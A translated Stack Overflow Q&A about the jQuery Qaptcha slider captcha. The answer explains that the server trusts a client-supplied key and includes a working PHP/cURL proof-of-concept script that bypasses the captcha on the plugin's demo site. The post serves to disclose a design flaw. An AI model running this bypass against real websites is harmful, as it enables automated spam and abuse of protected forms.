Qaptcha - 它有效吗?

Sha*_*e N 19 security jquery captcha

在这里查看JQuery Qaptcha的演示 - http://www.myjqueryplugins.com/QapTcha/demo

它需要你滑动滑块解锁并证明你是人.我已经阅读了所有关于它如何设置随机字段值并删除它们的信息,但这不是通过javascript调用完成的吗?如果是这样,那么机器人不需要运行javascript方法然后qaptcha被破坏了吗?

帮助我理解这是如何安全的......

dre*_*010 42

不幸的是,这似乎不是一个安全的验证码.

在这篇文章的最后是一些可以绕过它的示例代码.我编写这个脚本时没有看任何源代码(php或javascript).我只是嗅了几个HTTP请求,看到它正在做什么并试图模仿它.我现在看了他们的JS代码,但仍然不是PHP,所以即使没有看到任何源代码,也可以绕过它.

我根据成功和失败快速猜测它是如何工作的:

  • 您在其页面上加载表单,创建的PHP会话可能没有数据.
  • 加载JS脚本,生成qaptcha_key并将其附加到表单.
  • 此密钥由JavaScript创建,并且尚未存储在服务器上.
  • 你将滑块向右移动,jQuery通过Ajax将"qaptcha_key"发布到PHP,然后将密钥存储在会话中(密钥不是秘密).
  • 如果移动滑块,则提交包含之前通过Ajax发送的qaptcha_key的表单.
  • 如果会话中存在匹配的qaptcha_key(来自移动滑块),则表单被视为有效.如果不存在这样的键,则它们假定您没有移动滑块(或者已禁用JS),并且由于会话不包含qaptcha_key,因此表单无效.

它可以更安全吗?在我看来并不容易.为了安全起见,秘密必须存储在服务器上,并且无法通过对服务器的任何脚本或HTTP请求轻松获取.也就是说,使用Ajax或HTTP请求(例如下面的示例)仍然可以欺骗基于某些公共值的Ajax请求进行身份验证.基本上,验证码解决方案必须存储在服务器上,并由人(希望不是计算机)解释并发送回服务器.

以下是您可以绕过它运行的代码.基本上,如果你运行它,你会看到:

Form can be submited
First Name : A Test
Last Name : Of Qaptcha
Run Code Online (Sandbox Code Playgroud)

在结果输出中.正如您在代码中看到的,我只是一遍又一遍地使用相同的密钥.不要紧,关键是什么,因为客户端通知密钥的服务器,当你提交表单,Qaptcha只是检查是否伴随着表单提交的值相匹配什么是存储在PHP会话.因此,密钥的值是无关紧要的,您只需在提交表单之前告诉服务器它是什么.

我怀疑垃圾邮件发送者为Qaptcha表单实现广泛使用的旁路并将其集成到蜘蛛中只是时间问题.

概念证明:

<?php

$COOKIE_FILE = '/tmp/cookies.txt';  // The cookie file to use for storing the PHP session ID cookie
$FIRST_NAME  = 'A Test';            // first name to send
$LAST_NAME   = 'Of Qaptcha';        // last name to send

if (file_exists($COOKIE_FILE)) unlink($COOKIE_FILE); // clear cookies on start - just prevents re-using the same PHPSESSID over and over

$fake_qaptcha_key = 'thisIsAFakeKey12345';  // arbitrary qaptcha_key - normally generated by client JavaScript

// fetch the form - this creates a PHP session and gives us a cookie (yum)
$first = fetch_url('http://demos.myjqueryplugins.com/qaptcha/');

// This step is important - this stores a "qaptcha_key" in the PHP session that matches our session cookie
// We can make the key up in this step, it doesn't matter what it is or where it came from
$params = array('action' => 'qaptcha', 'qaptcha_key' => $fake_qaptcha_key);
$second = fetch_url('http://demos.myjqueryplugins.com/qaptcha/php/Qaptcha.jquery.php', 'POST', $params);

// Now submit the form along with the same qaptcha_key we told the server about in the last step
// As long as a form field is submitted that has the same name as the qaptcha_key we just told the server about, the captcha is bypassed
$params = array('firstname' => $FIRST_NAME, 'lastname' => $LAST_NAME, $fake_qaptcha_key => '', 'submit' => 'Submit Form');
$third  = fetch_url('http://demos.myjqueryplugins.com/qaptcha/', 'POST', $params);

// echo the contents so you can see it said form was accepted.
echo $third;


// basic function that uses curl to fetch a URL with get/post
function fetch_url($url, $method = 'GET', $params = array())
{
    $ch = curl_init($url);
    curl_setopt($ch, CURLOPT_COOKIEJAR, $GLOBALS['COOKIE_FILE']);
    curl_setopt($ch, CURLOPT_COOKIEFILE, $GLOBALS['COOKIE_FILE']);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);

    if ($method == 'POST') {
        curl_setopt($ch, CURLOPT_POST, 1);
        curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($params));
    }

    $return = curl_exec($ch);

    return $return;
}
Run Code Online (Sandbox Code Playgroud)

我希望能为你清楚地回答这个问题.

  • 呵呵,你甚至没有模仿阻力就做到了! (2认同)